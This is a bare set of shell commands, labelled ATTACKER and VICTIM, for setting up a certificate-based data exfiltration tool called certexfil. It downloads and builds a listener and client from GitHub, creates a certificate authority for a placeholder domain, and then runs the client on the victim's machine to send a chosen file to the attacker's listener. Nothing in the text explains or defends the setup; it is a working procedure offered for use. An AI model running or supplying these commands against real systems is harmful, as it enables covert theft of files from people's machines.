ATTACKER:
apt-get update
apt-get install golang
export PATH=$PATH:/usr/local/go/bin
mkdir -p ~/go_projects/src
mkdir -p ~/go_projects/pkg
mkdir -p ~/go_projects/bin
export GOPATH="/root/go_projects"
export GOBIN="/root/go_projects/bin"
mkdir certexfil
cd certexfil
wget https://raw.githubusercontent.com/sourcefrenchy/certexfil.listener/master/certexfil.listener.go -O certexfil.listener.go
wget https://raw.githubusercontent.com/sourcefrenchy/certexfil.client/master/certexfil.client.go -O certexfil.client.go
go get github.com/sourcefrenchy/cryptopayload
go install certexfil.client.go
go install certexfil.listener.go
cd ../go_projects/bin
./certexfil.client -ca -ecdsa-curve P521 -host <DOMAINNAME>
./certexfil.listener

VICTIM:
./certexfil.client -host <DOMAINNAME> -payload <EXFILFILE>